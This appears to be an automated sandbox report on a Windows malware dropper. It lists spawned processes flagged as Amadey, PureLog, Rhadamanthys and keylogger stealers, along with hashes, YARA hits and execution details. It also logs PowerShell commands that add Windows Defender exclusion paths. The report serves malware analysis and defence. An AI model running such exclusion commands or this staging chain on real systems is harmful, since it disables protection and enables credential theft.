2024-12-20 08:12:55 UTC	1378	IN	Data Raw: 52 e0 1f 58 23 09 4b ac 81 56 f8 11 a3 e9 9a 43 0c 60 01 1d ac 7a b7 e5 2b f8 87 42 a7 8f 08 53 15 76 f7 ad 7b 62 db 9b f9 e8 88 8f 97 0a 19 31 58 c4 e7 2b 34 56 b1 00 87 dc 42 8f cf 0b 67 f8 38 50 45 9a 20 8e fa c9 f1 85 14 bc 23 26 13 67 95 23 3c fc 05 7b 68 9c 69 8d 73 5b fc c0 db 6e da 60 44 01 ed 8b 92 68 d9 2c 74 c3 17 41 9d 40 7d e1 6f c6 35 d8 97 5d ee 57 5b 90 e9 51 03 2c 68 50 87 88 56 9d 16 a8 1b ac 3f 66 16 fd ff b9 0c 32 82 96 49 d1 4a 63 f5 a8 47 9b 08 b8 45 61 aa 63 64 be c9 9a f2 0b dd 64 ef 60 ad 54 73 91 db b5 0f 39 94 2a 4d b1 f6 81 20 51 06 ac df e4 cd 78 af 96 19 fe 1a c8 4a 65 e8 79 5d cc c5 8d d9 1d f9 22 55 8a 86 da 2b f0 00 1c 49 5f d3 1c 62 bf 22 c3 33 ec d2 ad d3 ab 98 d2 42 8b 64 a6 41 08 fd 7f a6 3c da c3 89 a7 2e 33 dc 08 02 Data Ascii: RX#KVC`z+BSv{b1X+4VBg8PE #&g#<{his[n`Dh,tA@}o5]W[Q,hPV?f2IJcGEacdd`Ts9*M QxJey]"U+I_b"3BdA<.3

Target ID:	0
Start time:	03:11:00
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa40000
File size:	2'989'056 bytes
MD5 hash:	5BCC85CF578615240EBB1808BB7A05C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1688419079.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:11:02
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x900000
File size:	2'989'056 bytes
MD5 hash:	5BCC85CF578615240EBB1808BB7A05C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1752706056.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1712503355.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:12:00
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x900000
File size:	2'989'056 bytes
MD5 hash:	5BCC85CF578615240EBB1808BB7A05C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2282606769.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:12:14
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe"
Imagebase:	0x130000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 54%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:12:15
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe"
Imagebase:	0x140000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:12:15
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe"
Imagebase:	0x1f0000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:12:15
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe"
Imagebase:	0x2e0000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:12:15
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe"
Imagebase:	0x910000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:12:23
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe"
Imagebase:	0x510000
File size:	1'880'576 bytes
MD5 hash:	FF279F4E5B1C6FBDA804D2437C2DBDC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2659449824.0000000000F20000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 81%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:12:31
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe"
Imagebase:	0x310000
File size:	2'016'256 bytes
MD5 hash:	89D52C06DE454745F595A572867544F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000D.00000003.2628315263.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000D.00000003.2631972056.0000000005200000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000D.00000003.2632161414.0000000005420000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000D.00000003.2633275336.0000000004D00000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:12:35
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\svchost.exe"
Imagebase:	0x570000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000E.00000003.2636944370.0000000005060000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000E.00000003.2633120606.0000000002F10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000E.00000002.2645486953.0000000002F20000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000E.00000003.2635852169.0000000004E40000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:12:35
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1196 -s 676
Imagebase:	0x1c0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:12:37
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe"
Imagebase:	0xa70000
File size:	21'504 bytes
MD5 hash:	14BECDF1E2402E9AA6C2BE0E6167041E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 54%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:12:37
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:12:39
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath "C:\iscwgalo"
Imagebase:	0x3d0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:12:39
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	03:12:43
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Imagebase:	0x3d0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	03:12:43
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	03:12:43
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Imagebase:	0x380000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 68%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	03:12:43
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	03:12:47
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Imagebase:	0x380000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	03:12:47
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Imagebase:	0x380000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	03:12:47
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Imagebase:	0x380000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	03:12:47
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Imagebase:	0x380000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	03:12:47
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Imagebase:	0x380000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	03:12:47
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Imagebase:	0x380000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	03:12:47
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Imagebase:	0x380000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	03:12:47
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Imagebase:	0x380000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	03:12:47
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Imagebase:	0x380000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	03:12:47
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Imagebase:	0x380000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	03:12:48
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Imagebase:	0x380000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	03:12:48
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Imagebase:	0x380000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	03:12:48
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Imagebase:	0x380000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	03:12:48
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Imagebase:	0x380000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	03:12:48
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Imagebase:	0x380000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	03:12:48
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Imagebase:	0x380000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	03:12:48
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Imagebase:	0x380000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	03:12:49
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Imagebase:	0x380000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	03:12:49
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Imagebase:	0x380000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	03:12:49
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Imagebase:	0x380000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.3%
Total number of Nodes:	513
Total number of Limit Nodes:	10

Executed Functions

Function 00A45C83 Relevance: 20.8, APIs: 3, Strings: 8, Instructions: 1535registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,00000000,00000001,33BC159F,33BC159F), ref: 00A45DCC
RegQueryValueExA.KERNEL32(33BC159F,?,00000000,00000000,?,00000400,?,?,00000000,00000001,33BC159F,33BC159F), ref: 00A45DFA
RegCloseKey.KERNEL32(33BC159F,?,?,00000000,00000001,33BC159F,33BC159F), ref: 00A45E06

Strings

stoi argument out of range, xrefs: 00A47081
0000043f, xrefs: 00A4612B
Keyboard Layout\Preload, xrefs: 00A46054
00000419, xrefs: 00A46098
00000422, xrefs: 00A460C9
VUUU, xrefs: 00A46F41
invalid stoi argument, xrefs: 00A47090
00000423, xrefs: 00A460FA

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
